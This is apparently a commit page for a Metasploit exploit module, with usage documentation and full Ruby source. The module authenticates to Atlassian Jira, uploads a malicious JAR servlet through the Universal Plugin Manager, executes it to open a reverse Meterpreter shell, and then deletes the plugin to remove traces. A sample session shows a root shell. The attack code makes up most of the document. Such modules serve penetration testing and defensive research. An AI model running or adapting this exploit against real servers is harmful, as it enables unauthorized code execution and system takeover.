update 9631 to a current branch

GSoC/Meterpreter_Web_Console
Shelby Pace 2018-11-13 15:15:25 -06:00
commit ac8932c144
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## Description
This module uses a POST request against the Atlassian Jira Universal Plugin Manager (UPM) to upload a malicious Java servlet in the form of a JAR archive. Once uploaded the module executes the payload with a GET request and then cleans up after itself by deleting the plugin. Successful exploitation is dependent on valid credentials to an account that has access to the UPM (typically the admin account). The module includes a check function that will validate user supplied credentials and access to the UPM.
## Vulnerable Application
The version of Atlassian Jira used for testing was 7.8.0 but the module should work for all versions of Jira as the main dependency is the implementation of Atlassian's UPM framework.
To set up a vulnerable installation:
1. Build the Atlassian SDK environment. Instructions can be found below:
- Windows:
https://developer.atlassian.com/server/framework/atlassian-sdk/install-the-atlassian-sdk-on-a-windows-system/
- Linux/Mac:
https://developer.atlassian.com/server/framework/atlassian-sdk/install-the-atlassian-sdk-on-a-linux-or-mac-system/
2. Create a shell Jira plugin and launch the SDK. Instructions can be found below:
- https://developer.atlassian.com/server/framework/atlassian-sdk/create-a-helloworld-plugin-project/
3. Validate installation by browsing to localhost:2990/jira/ and logging in with the default credentials admin:admin
## Verification Steps
1. Install Atlassian SDK/Jira environment.
2. Browse to localhost:2990/jira/ to confirm successful deployment.
3. Start msfconsole: ```msfconsole -q```
4. Do: ```use exploit/multi/http/jira_plugin_upload```
5. Do: ```set rhost [IP]```
6. Check credentials and UPM access: ```check```
7. Do: ```exploit```
8. You should get a shell.
## Scenarios
Successful exploitation:
```
msf > use exploit/multi/http/jira_plugin_upload
msf exploit(multi/http/jira_plugin_upload) > set rhost 127.0.0.1
rhost => 127.0.0.1
msf exploit(multi/http/jira_plugin_upload) > check
[*] Server accepted the credentials, user has access to plugin manager!
[*] 127.0.0.1:2990 The target appears to be vulnerable.
msf exploit(multi/http/jira_plugin_upload) > exploit
[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
[*] Started reverse TCP handler on 127.0.0.1:4444
[*] Retrieving Session ID and XSRF token...
[*] Attempting to upload UlDRthpT
[*] Successfully uploaded UlDRthpT
[*] Executing UlDRthpT
[*] Deleting UlDRthpT
[*] Sending stage (53837 bytes) to 127.0.0.1
[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:43208) at 2018-02-25 13:45:43 -0500
meterpreter > getuid
Server username: root
meterpreter > exit
[*] Shutting down Meterpreter...
[*] 127.0.0.1 - Meterpreter session 1 closed. Reason: User exit
[*] 127.0.0.1 - Meterpreter session 1 closed. Reason: Died
msf exploit(multi/http/jira_plugin_upload) >
```

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
'Name' => 'Atlassian Jira Authenticated Upload Code Execution',
'Description' => %q{
This module can be used to execute a payload on Atlassian Jira via
the Universal Plugin Manager(UPM). The module requires valid login
credentials to an account that has access to the plugin manager.
The payload is uploaded as a JAR archive containing a servlet using
a POST request against the UPM component. The check command will
test the validity of user supplied credentials and test for access
to the plugin manager.
},
'Author' => 'Alexander Gonzalez(dubfr33)',
'License' => MSF_LICENSE,
'References' =>
[
['URL', 'https://developer.atlassian.com/server/framework/atlassian-sdk/install-the-atlassian-sdk-on-a-windows-system/'],
['URL', 'https://developer.atlassian.com/server/framework/atlassian-sdk/install-the-atlassian-sdk-on-a-linux-or-mac-system/'],
['URL', 'https://developer.atlassian.com/server/framework/atlassian-sdk/create-a-helloworld-plugin-project/']
],
'Platform' => %w[java],
'Targets' =>
[
['Java Universal',
{
'Arch' => ARCH_JAVA,
'Platform' => 'java'
}
]
],
'DisclosureDate' => 'Feb 22 2018'))
register_options(
[
Opt::RPORT(2990),
OptString.new('HttpUsername', [true, 'The username to authenticate as', 'admin']),
OptString.new('HttpPassword', [true, 'The password for the specified username', 'admin']),
OptString.new('TARGETURI', [true, 'The base URI to Jira', '/jira/'])
])
end
def check
login_res = query_login
if login_res.nil?
vprint_error('Unable to access the web application!')
return CheckCode::Unknown
end
return CheckCode::Unknown unless login_res.code == 200
@session_id = get_sid(login_res)
@xsrf_token = login_res.get_html_document.at('meta[@id="atlassian-token"]')['content']
auth_res = do_auth
good_sid = get_sid(auth_res)
good_cookie = "atlassian.xsrf.token=#{@xsrf_token}; #{good_sid}"
res = query_upm(good_cookie)
if res.nil?
vprint_error('Unable to access the web application!')
return CheckCode::Unknown
elsif res.code == 200
return Exploit::CheckCode::Appears
else
vprint_status('Something went wrong, make sure host is up and options are correct!')
vprint_status("HTTP Response Code: #{res.code}")
return Exploit::CheckCode::Unknown
end
end
def exploit
unless access_login?
fail_with(Failure::Unknown, 'Unable to access the web application!')
end
print_status('Retrieving Session ID and XSRF token...')
auth_res = do_auth
good_sid = get_sid(auth_res)
good_cookie = "atlassian.xsrf.token=#{@xsrf_token}; #{good_sid}"
res = query_for_upm_token(good_cookie)
if res.nil?
fail_with(Failure::Unknown, 'Unable to retrieve UPM token!')
end
upm_token = res.headers['upm-token']
upload_exec(upm_token, good_cookie)
end
# Upload, execute, and remove servlet
def upload_exec(upm_token, good_cookie)
contents = ''
name = Rex::Text.rand_text_alpha(8..12)
atlassian_plugin_xml = %Q{
<atlassian-plugin name="#{name}" key="#{name}" plugins-version="2">
<plugin-info>
<description></description>
<version>1.0</version>
<vendor name="" url="" />
<param name="post.install.url">/plugins/servlet/metasploit/PayloadServlet</param>
<param name="post.upgrade.url">/plugins/servlet/metasploit/PayloadServlet</param>
</plugin-info>
<servlet name="#{name}" key="metasploit.PayloadServlet" class="metasploit.PayloadServlet">
<description>"#{name}"</description>
<url-pattern>/metasploit/PayloadServlet</url-pattern>
</servlet>
</atlassian-plugin>
}
# Generates .jar file for upload
zip = payload.encoded_jar
zip.add_file('atlassian-plugin.xml', atlassian_plugin_xml)
servlet = MetasploitPayloads.read('java', '/metasploit', 'PayloadServlet.class')
zip.add_file('/metasploit/PayloadServlet.class', servlet)
contents = zip.pack
boundary = rand_text_numeric(27)
data = "--#{boundary}\r\nContent-Disposition: form-data; name=\"plugin\"; "
data << "filename=\"#{name}.jar\"\r\nContent-Type: application/x-java-archive\r\n\r\n"
data << contents
data << "\r\n--#{boundary}--"
print_status("Attempting to upload #{name}")
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path.to_s, 'rest/plugins/1.0/'),
'vars_get' =>
{
'token' => "#{upm_token}"
},
'method' => 'POST',
'data' => data,
'headers' =>
{
'Content-Type' => 'multipart/form-data; boundary=' + boundary,
'Cookie' => good_cookie.to_s
}
}, 25)
unless res && res.code == 202
print_status("Error uploading #{name}")
print_status("HTTP Response Code: #{res.code}")
print_status("Server Response: #{res.body}")
return
end
print_status("Successfully uploaded #{name}")
print_status("Executing #{name}")
Rex::ThreadSafe.sleep(3)
send_request_cgi({
'uri' => normalize_uri(target_uri.path.to_s, 'plugins/servlet/metasploit/PayloadServlet'),
'method' => 'GET',
'cookie' => good_cookie.to_s
})
print_status("Deleting #{name}")
send_request_cgi({
'uri' => normalize_uri(target_uri.path.to_s, "rest/plugins/1.0/#{name}-key"),
'method' => 'DELETE',
'cookie' => good_cookie.to_s
})
end
def access_login?
res = query_login
if res.nil?
fail_with(Failure::Unknown, 'Unable to access the web application!')
end
return false unless res && res.code == 200
@session_id = get_sid(res)
@xsrf_token = res.get_html_document.at('meta[@id="atlassian-token"]')['content']
return true
end
# Sends GET request to login page so the HTTP response can be used
def query_login
send_request_cgi('uri' => normalize_uri(target_uri.path.to_s, 'login.jsp'))
end
# Queries plugin manager to verify access
def query_upm(good_cookie)
send_request_cgi({
'uri' => normalize_uri(target_uri.path.to_s, 'plugins/servlet/upm'),
'method' => 'GET',
'cookie' => good_cookie.to_s
})
end
# Queries API for response containing upm_token
def query_for_upm_token(good_cookie)
send_request_cgi({
'uri' => normalize_uri(target_uri.path.to_s, 'rest/plugins/1.0/'),
'method' => 'GET',
'cookie' => good_cookie.to_s
})
end
# Authenticates to webapp with user supplied credentials
def do_auth
send_request_cgi({
'uri' => normalize_uri(target_uri.path.to_s, 'login.jsp'),
'method' => 'POST',
'cookie' => "atlassian.xsrf.token=#{@xsrf_token}; #{@session_id}",
'vars_post' => {
'os_username' => datastore['HttpUsername'],
'os_password' => datastore['HttpPassword'],
'os_destination' => '',
'user_role' => '',
'atl_token' => '',
'login' => 'Log+In'
}
})
end
# Finds SID from HTTP response headers
def get_sid(res)
if res.nil?
return '' if res.blank?
end
res.get_cookies.scan(/(JSESSIONID=\w+);*/).flatten[0] || ''
end
end